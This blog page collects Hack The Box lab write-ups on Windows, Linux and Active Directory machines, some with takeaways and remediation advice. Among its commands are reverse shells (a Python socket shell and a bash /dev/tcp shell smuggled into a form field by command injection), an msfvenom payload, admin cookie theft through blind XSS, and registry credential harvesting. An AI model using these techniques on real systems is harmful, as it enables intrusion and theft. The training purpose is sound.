kami@kali:~$ journalctl

  • Chatterbox writeup

    Chatterbox writeup

    Box name: Chatterbox

    Difficulty: Medium

    OS: Windows

    Overview: Chatterbox is a fairly straightforward machine that requires basic exploit modification or Metasploit troubleshooting skills to complete.

    Link: https://app.hackthebox.com/machines/Chatterbox?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.9.221

    Ran rustscan.

    rustscan -a 10.129.9.221 --ulimit 5000 -b 2000 -- -A -Pn

    Checked out smb port but looks like I don’t get anything. 

    smbclient -N -L //10.129.9.221/

    Trying to check out the http server nothing resolves. I checked for exploits on Achat though and found this https://github.com/mpgn/AChat-Reverse-TCP-Exploit. Looks like its vulnerable to a buffer overflow. Edited the exploit and got a meterpreter but then my shell kept dying. After rewriting it with a windows/shell_reverse_tcp it’s more stable.

    I will do manual enumeration first before using an automated tool as I still need windows practice. Also here is user.txt.

    I checked an interesting registry key and tried reusing the password we have for Administrator I was able to get more privilege but not root.txt.

    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

    But we atleast know that the password works. Got a shell with impacket-psexec.

    impacket-psexec 'Administrator:Welcome1!@10.129.9.221'

    But I still can’t read root.txt.

    This took a bit but I was eventually able to grant everyone access to the file with icacls and then read it.

    icacls C:\Users\Administrator\Desktop\root.txt /grant Everyone:F

    GG

    Attack Chain

    1 — Reconnaissance Ran RustScan to identify open ports. Found SMB and ports 9255/9256 (Achat chat service). SMB returned nothing without credentials. HTTP did not resolve. Researched Achat and identified a known buffer overflow vulnerability.

    rustscan -a 10.129.9.221 --ulimit 5000 -b 2000 -- -A -Pn smbclient -N -L //10.129.9.221/

    2 — Initial Access — Achat buffer overflow Located a public Achat reverse TCP exploit. Edited the payload with the attacker IP and port. Initial Meterpreter shell was unstable and kept dying — rewrote the shellcode using windows/shell_reverse_tcp for a stable shell. Retrieved user.txt.

    3 — Privilege Escalation — Winlogon credential reuse Performed manual Windows enumeration. Queried the Winlogon registry key and recovered stored credentials. Attempted to reuse the Administrator password — authentication succeeded but root.txt was not readable due to file permissions.

    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

    4 — Lateral Movement — psexec as Administrator Used impacket-psexec with the recovered credentials to obtain an Administrator shell. root.txt was still unreadable due to restrictive ACLs on the file itself.

    impacket-psexec 'Administrator:Welcome1!@10.129.9.221'

    5 — Post-Exploitation — ACL manipulation to read root.txt Granted full access to root.txt for Everyone using icacls, then read the flag.

    icacls C:\Users\Administrator\Desktop\root.txt /grant Everyone:F


    Key Takeaways

    1. Achat running on non-standard ports — The chat service was exposed on ports 9255/9256 with a known buffer overflow. Any non-standard service exposed to the network must be identified and assessed. Legacy or niche software rarely receives timely patches.
    2. Credentials stored in Winlogon registry — Autologon credentials were stored in plaintext in the registry under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. This is a common misconfiguration that immediately hands attackers valid credentials.
    3. Password reuse across accounts — The same password was valid for the Administrator account. Passwords must be unique per account. Credential reuse across privilege boundaries is a critical finding.
    4. Overly permissive ACL modification allowed — A low or medium privilege user was able to run icacls to grant themselves access to a file owned by Administrator. Write permissions on sensitive file paths must be restricted.
    5. Unstable exploit requiring shellcode adjustment — The initial Meterpreter payload was unreliable, requiring a switch to a simpler shell payload. This is common with buffer overflow exploits and highlights the importance of understanding the underlying exploit rather than relying on defaults.

    Remediation

    [Immediate] Patch or remove Achat Achat is an unsupported application with a public buffer overflow exploit. Remove it from all systems immediately. If a chat service is required, replace it with a supported, actively maintained alternative. Block ports 9255 and 9256 at the firewall.

    [Immediate] Remove autologon credentials from registry Delete the plaintext credentials stored under the Winlogon registry key. Autologon should never be enabled on servers or systems accessible over a network. If autologon is required for operational reasons, use the Autologon utility with encrypted credential storage and restrict physical access to the machine.

    [Immediate] Enforce unique passwords per account The Administrator account shared a password with another account. Implement a password policy enforcing uniqueness across accounts. Use a privileged access management (PAM) solution to rotate and vault Administrator credentials.

    [Short-term] Restrict ACL modification permissions Audit which users can modify file ACLs using icacls or similar tools. Standard and service accounts should not have the ability to grant themselves or others access to files outside their scope. Apply the principle of least privilege to all file system permissions.

    [Long-term] Audit all non-standard services and ports Implement a network asset inventory and regularly scan for services running on non-standard ports. Any application that cannot be patched or supported should be decommissioned. Include third-party and legacy chat, admin, and utility tools in the vulnerability management scope.

  • Arctic writeup

    Arctic Writeup

    Box name: Arctic

    Difficulty: Easy

    OS: Windows

    Overview: Arctic is an easy Windows machine that involves straightforward exploitation with some minor challenges. The process begins by troubleshooting the web server to identify the correct exploit. Initial access can be gained either through an unauthenticated file upload in Adobe ColdFusion. Once a shell is obtained, privilege escalation is achieved using the MS10-059 exploit.

    Link: https://app.hackthebox.com/machines/Arctic?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.9.133

    Scanned the machine with rustscan.

    rustscan -a 10.129.9.133 --ulimit 5000 -b 2000 -- -A -Pn

    Only familiar of port 135 right aware buy from recent notes I would need credentials. Checked out hacktricks for more information https://hacktricks.wiki/en/network-services-pentesting/135-pentesting-msrpc.html. I don’t think I can get anything from that port aqt this time. 8500 is a http server though so lets check that. This looks to bring us to some sort of directory.

    Going to run feroxbuster while I check out these directories as there is a lot.

    feroxbuster -u http://10.129.9.133:8500/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

    In artgallery I found a bunch of names that could possibly be usernames. Notated those.

    The next two things I found interesting was an Adobe Coldfusion Administrator log in and a WebWorks Help version.

    Feroxbuster didn’t find anything new. I googled exploits for Adobe coldfusion (also just guessing this is the path considering the room name) and found this RCE https://www.exploit-db.com/exploits/50057. Editted the payload and we got in.

    Got user.txt

    I’m pretty shit at manual local windows enumeration so I want to try this first before trying winpeas. Right away the impersonate token looks interesting.

    From my notes, I’m currently only familiar of using metasploit to take advantage of this. There are other attacks I have notes on but haven’t tried yet. Created a payload.

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.42 LPORT=4444 -f exe -o shell.exe

    Served it up on an http.server.

    sudo python3 -m http.server

    Downloaded the new payload to the machine.

    Set up a handler in metasploit and ran it.

    Turns out there are no tokens though.

    Ran ps to check services and migrated to jrunsvc.exe.

    I tried windows/local/ms16_075_reflection but it didn’t create a session. I did some further manual enumeration but couldn’t see anything obvious. I ended up just running Metasploits local exploit suggester. I was able to get root with windows/local/ms10_092_schelevator.

    And we get root.

    GG

  • Antique writeup

    Antique writeup

    Box name: Antique

    Difficulty: Easy

    OS: Linux

    Overview: Antique is an easy Linux machine featuring a network printer disclosing credentials through SNMP string which allows logging into telnet service. Foothold can be obtained by exploiting a feature in printer. CUPS administration service running locally. This service can be exploited further to gain root access on the server.

    Link: https://app.hackthebox.com/machines/Antique?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.8.229

    Ran rustscan. 

    rustscan -a 10.129.8.229 –ulimit 5000 -b 2000 — -A -Pn

    This is telnet. Tried telnetting to the device but it is asking us for a password.

    Since there was no other information I tried the default password of admin, and a bunch of other simple credentials but nothing worked. I scanned for udp since I couldn’t find anything else.

    nmap -sU –top-port 100 10.129.8.229

    Ran snmpwalk and got the community string.

    snmpwalk -v 2c -c public 10.129.8.229

    I tried bruteforcing the OID with braa but it didnt get anything. Instead, and I just learned this, all OIDs are public. We can use snmpwalk again.

    snmpwalk -v 2c -c public 10.129.8.229 1.3.6.1.4.1.11.2.3.9.1

    Here’s a breakdown of the OID for understanding.

    We got some BITS back in hex value. Dropped that in Cyberchef.

    Got password P@ssw0rd@123!!123 tried it on telnet and we got logged in.

    Initially I tried listing any files but I kept getting a ‘Err updating configuration’. I ran ‘?’ and it shows we can exec commands.

    I set up a listener, played with some shells and this one worked.

    export RHOST=”10.10.14.42″;export RPORT=1337;python3 -c ‘import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(“RHOST”),int(os.getenv(“RPORT”))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(“sh”)’

    We are user lp. Stabilized shell and there is user.txt in the directory we are already in.

    After some linux local enumeration, I eventually found an internal port open on 631.

    netstat -ano

    Tried downloading chisel to the server but I don’t think it has internet. Downloaded on my machine, unzipped it, renamed it, made it executable and server it up on an http.server.

    Downloaded it to the machine.

    Set up a chisel listener.

    Had the device connect back as well.

    Checking out the webserver there is a CUPS 1.6.1 page.

    After some research and testing, we can use cupsctl to change the output of the ErrorLog and as it’s running as root we can just output root.txt. Ran this on the victim machine.

    cupsctl ErrorLog=”/root/root.txt”

    Ran curl on my machine.

    curl http://localhost:631/admin/log/error_log?

    And we get root.txt

  • Granny writeup

    Box name: Granny

    Difficulty: Easy

    OS: Windows

    Overview: Granny, while similar to Grandpa, can be exploited using several different methods. The intended method of solving this machine is the widely-known Webdav upload vulnerability.

    Link: https://app.hackthebox.com/machines/Granny?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.95.234

    Scanned the machine with Rustscan.

    rustscan -a 10.129.95.234 --ulimit 5000 -b 2000 -- -A -Pn

    Navigated to the website.

    We see an IIS server that is not fully set up. Nothing of importance in robots.txt and sourcecode. Ran feroxbuster.

    feroxbuster -u http://10.129.95.234 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

    There is an image directory that looks interesting.

    ISS servers usually have WebDAV ontop of it. Running nmap scripts to see if this does exist.

    nmap --script http-enum 10.129.95.234

    This was taking forever. Regardless I google the version of the IIS server and there is a vulnerability CVE-2017-7269. I already know there’s a Metasploit module we can use for the exploit from my notes.

    Ran it and were in with a low level service.

    I tried to see if we could get user.txt but looks we can not yet but there is a Lakis user.

    Since we have a meterpreter lets just have metasploit do the work for us.

    These are the results.

    Considering this is a webdav box I read that exploit through online here https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/local/ms16_016_webdav.md. I checked systeminfo and it is x86 but the OS isn’t the same. I looked through the other exploits and ms15_051_client_copy_image looked the most interesting. Migrated to a different process then ran it and we got nt authority\system.

    Then we can get the flags.

    GG

  • Headless writeup

    Headless writeup

    Difficulty: Easy

    OS: Linux

    Overview: Headless is an easy-difficulty Linux machine that features a Python Werkzeug server hosting a website. The website has a customer support form, which is found to be vulnerable to blind Cross-Site Scripting (XSS) via the User-Agent header. This vulnerability is leveraged to steal an admin cookie, which is then used to access the administrator dashboard. The page is vulnerable to command injection, leading to a reverse shell on the box. Enumerating the user’s mail reveals a script that does not use absolute paths, which is leveraged to get a shell as root.

    Link: https://app.hackthebox.com/machines/Headless?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.8.19

    Scanned the machine with Rustscan.

    rustscan -a 10.129.8.19 --ulimit 5000 -b 2000 -- -A -Pn

    Checked out the http server.

    Right away this reminded me of Shellshock but no suck if that would be the attack avenue. Kicked off feroxbuster.

    feroxbuster -u http://10.129.8.19:5000/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

    Nothing interesting in robots.txt or source code. The For questions buttons brings us to a new page.

    I was playing around with some XSS and looks like I was flagged. 

    This looks vulnerable to XSS. Something that would be interesting to find is the proper Cookie that gives us additional access, specifically to /dashboard that feroxbuster found. Currently this is catching our header though. Popped up an http listener and after some testing we were able to get the admin cookie.

    curl -X POST http://10.129.8.19:5000/support \
    -H "User-Agent: " \
    --data-urlencode "fname=test" \
    --data-urlencode "lname=test" \
    --data-urlencode "email=test@test.com" \
    --data-urlencode "phone=1234567890" \
    --data-urlencode "message=killmepls"

    Didn’t get a screenshot and this must be on some timer because rerunning the command I don’t get it. This was the response though is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0.

    I added it to my cookie value in Storage Dev tools, refreshed and we get access to the Administrator Dashboard.

    It looks like we can generate reports from this page. When running this it tells us the ‘Systems are up and running!’ This is likely running some command on the backend. In the input field I won’t be able to put a command. Confirmed with ‘id’.

    curl -X POST http://10.129.8.19:5000/dashboard \
    -H "Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0" \
    --data-urlencode "date=2023-09-15;id""

    Now we try and get a shell. After a bit of testing this worked:

    curl -X POST http://10.129.8.19:5000/dashboard \
    -H "Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0" \
    --data-urlencode "date=2023-09-15;bash -c 'bash -i >& /dev/tcp/10.10.14.42/1337 0>&1'"”

    Got user.txt

    Ran sudo -l and we see /usr/bin/syscheck.

    I checked GTFObins but it looks like it’s not a built in linux binary. I was able to read the file though.

    As ./initdb.sh is calling the relative path and not an absolute path we can take advantage of that. Created my own initdb.sh that would get us root, ran the binary and we’re root.

    GG

    Full Attack Chain Summary

    Key Takeaways

    Trust no input — including headers. Most devs sanitize form fields but forget that User-Agent, Referer, and X-Forwarded-For are also attacker-controlled. Anything the server logs and later renders is an injection point.

    Blind XSS is powerful precisely because you never see it fire. The payload lives in a log, gets rendered later in a different context (the admin panel), and executes there. Traditional XSS scanners often miss this entirely.

    Session cookies without HttpOnly are trivially stealable. One flag would have broken the entire chain at step 4.

    Relative paths in privileged scripts are a classic privesc. ./initdb.sh means “look in whatever directory I’m currently in” — an attacker controls that.

    Remediations

    Blind XSS — sanitize all HTTP headers before storing or rendering them. Use a Content Security Policy (CSP) to restrict what scripts can execute and where they can send data.

    Cookie theft — set HttpOnly and Secure flags on session cookies. HttpOnly makes cookies inaccessible to JavaScript entirely.

    Command injection — never pass user input directly to a shell. Use parameterized commands or a proper library (Python’s subprocess with a list, not a string).

    Privilege escalation — always use absolute paths in scripts that run with elevated privileges. Audit sudo rules regularly and apply least privilege — dvir had no business running a system health script as root.

  • Certificates for posterity sake

    Posting some certificates here for posterity sake as I’ve been told it is basically fluff on my LinkedIn.

    Tryhackme

    SOC Level 1 learning path

    Security Engineer learning path

    Red Teaming learning path

    Junior Penetration Tester learning path

    CompTIA Pentest+ learning path

    Web application pentesting learning path

    SOC Level 2 learning path

    DevSecOps learning path

    Offensive pentesting learning path

    SoloLearn programming

    Python Intermediate learning course

    Python core learning course

    Python for beginners learning course

    CSS learning course

    PHP learning course

    HTML Learning course

    GG

  • Blocky writeup

    10.129.6.159

    Scanned the machine with rustscan.

    Tried navigating to the webserver but have to add blocky.htb to /etc/hosts. Rest of nmap finished.

    And we get a cool website when navigating back. Minecraft is goated btw, got me through gradeschool.

    It’s under construction. Nothing in sourcecode or robots.txt. Kicked off ffuf scan.

    Meanwhile lets check out the other ports. Ftp no anonymous but we get a version atleast.

    Found this when checking the version https://github.com/t0kx/exploit-CVE-2015-3306. This takes advantage of mod_copy. Unfortunately this failed. 

    Checked port 22. The version of that does have a vulnerability that I seen in the past but hackthebox machines usually patch it. I will just keep this in the back of my head for now. The last port also looks like a minecraft server. I doubt thats the path we need to take. At this point ffuf finished. I’m not going to bother showing screenshots. I’m annoyed about scrolling through errors so for the future I’m going to start using feroxbuster again (I know I can filter them out but I’d really just prefer to drop one line command off the rip and not do testing first, also feroxbuster is recursive). I poked through the directories. Things to take away is phpmyadmin page, there’s wordpress and an interesting /plugins directory.

    I downloaded these files and read them but it’s all jumbled garbage. Honestly not sure what to do with them so I just consulted AI. So this makes sense but for some reason I didn’t think of it on my own- I can decompile them. We get credentials from the output.

    I was able to get into the PHPmyadmin.

    I poked around here for a while but I also wanted to check out the wordpress part. These creds didn’t work in wordpress. I used wpscan though and we found another possible user notch.

    I was thinking about checking the version but I wanted to see if there was password reuse and I actually got into ssh with the same credentials.

    Ran sudo -l for a quick win and we actually got a very quick win.

    GG

  • Expressway writeup

    10.129.238.52

    Scanned the machine with rustscan.

    I found it strange that only ssh was open. I reran rustscan in case and scanned udp ports.

    I searched exploits for OpenSSH 10.0p2 but could not find anything. Checked hacktricks for port 500 udp https://hacktricks.wiki/en/network-services-pentesting/ipsec-ike-vpn-pentesting.html. Looks like this has to do with IPsec VPN. From the article we can run ike-scan to get some information.

    The ‘Auth=PSK’ means there is a VPN configured with a preshared key. Also with the last line and the knowledge from hacktricks, the machine is configured for IPsec and is willing o perform IKE negotiation. We can do further fingerprinting with this. This will help us to guess the VPN vendor.

    We can capture the PSK hash next.

    Then we need to crack it. I’ll use hashcat.

    From the PSK it appears we also receive a user of ike@expressay.htb. Downloaded ikeforce and tried connecting but was having issues. So I was stuck here for a while trying to find out what I can do next. I got a hint and this is something I need to ingrain in my brain. We have a user and a password, though my thought was this is to the VPN there can be password reuse. I used it on ssh and this let us log in.

    Sudo -l gives us some weird prompt.

    I tried the password we have and also spiderman because for some reason I feel like #3 is a spiderman reference. I don’t watch marvel though lol sorry. This may be something useful to check out later.

    /etc/shadow not listable. /etc/passwd no other user. Check verion of machine, crontab, network and navigated around a few files. Sudo version is interesting.

    Found this https://github.com/K1tt3h/CVE-2025-32463-POC. Read through the exploit, it’s small and nano is on the victim machine so I just created exploit.sh and copied the code. Ran it and we get root.

    GG

  • Retro writeup

    10.129.234.44

    Scanned the target with rustscan.

    Right off the bat this looks like an AD machine. Ran ldapsearch and we get some information back.

    Ran enum4linux-ng and rpcclient but but no interesting results back. Tried querying user information but to no avail. Scanned users with kerbrute.

    Also checked out smb with smbclient. Notes I had permission to connect but not view files. Trainees I found an important.txt.

    Looks like that trainee account earlier may have a bruteforcable password.

    Ran kerbrute

    While that was running I just tried super simple passwords and the creds are actually trainee:trainee. We can see things in the Notes share now.

    Downloaded those. User.txt is the flag.

    Earlier we also seen that banking account. Maybe that is bruteforcable or has super simple creds too. There’s also a Thomans and James and I assume they are the tblack and jburley. Started my bruteforce on banking.

    While that runs, since we have credentials of trainee, we may be able to find more information in the environment being authenticated. Ran rpcclient but gave us information we already know.

    Ran ldapdomaindump.

    Read some of the output.

    Important takeaways, banking is a computer account and not a user account. Also something to note is that Thomas and James have different permissions. Ran crackmapexec next with some simple credentials and banking works too.

    Ran impacket but it looks like the password needs to be changed after it erroring and researching the error.

    I tried a few things but had no success. At this point I’ll just run bloodhound.

    And after installing it on this machine for the first time it actually crashed my computer. My computer isn’t great so this is a sign that  I’ll need to get a new device. I just went back to trying to resetting the password. After a bit, impacket-changepasswd worked for me.

    Now we can check for AD Certificate services.

    From the output, we find out we can request a certificate for another user with the ESC1 vulnerability.

    With a lot of reading and talking to AI next steps I grabbed a certificate and authenticated with a new tool certipy-ad. Then we add the trainee account to domain admin.

    Used evil-winrm to get a shell and get root.txt.

    GG

  • Sau writeup

    10.129.229.26

    Scanned the machine with rustscan.

    Not entirely familiar of port 55555. It shows it’s Goglang http server though. Navigated to it in a web browser.

    On this site it looks like we can create a basket. When clicking create it gives us a token. Mine is: tK7SQ3xHZYOdGLHKChQ0v8VXO1CRciE03IgCyvysIY4y

    Created the basket at /hjkom0j

    I’m wondering if I can get shell into the basket. Before putting more thought into that I poked around more and got a version number at the bottom of the screen on another page.

    Searchsploit didn’t show anything. I googled the version for exploits though and it looks like there is a SSRF vulnerability. Here is a github for an exploit https://github.com/Khalidhaimur/exploit-request-baskets-1.2.1. This code was actually built for this room seen in the readme so hopefully this isn’t considering cheating. I downloaded this exploit but it appears that this will just set up a forwarded but not give us any access. After poking around, if we play with the options of the basket we can set it to an internal webserver that has Malttrail v0.53 on it. 

    Googling an exploit for this I found this https://github.com/spookier/Maltrail-v0.53-Exploit. I don’t think I even need the original exploit now, I thought I’d have to chain them.

    Set up a listener and used the exploit.

    And we actually got a shell.

    Submit User Flag – 

    A: 223cb50bc529e7b1dc781121489128bf

    Looking for a quick win I ran sudo -l and this looks like it may be interesting.

    As that only checks the status of the service running, eventually I checked the version of systemctl.

    Googling it I found this exploit https://nvd.nist.gov/vuln/detail/CVE-2023-26604.This post was the easiest to read through and the most insightful in my opinion https://medium.com/%40zenmoviefornotification/saidov-maxim-cve-2023-26604-c1232a526ba7. Read through the post, followed it and got root.

    Submit Root Flag – 

    A: 417c3049c5125d63d284c3355bd1e0b7

    GG

Categories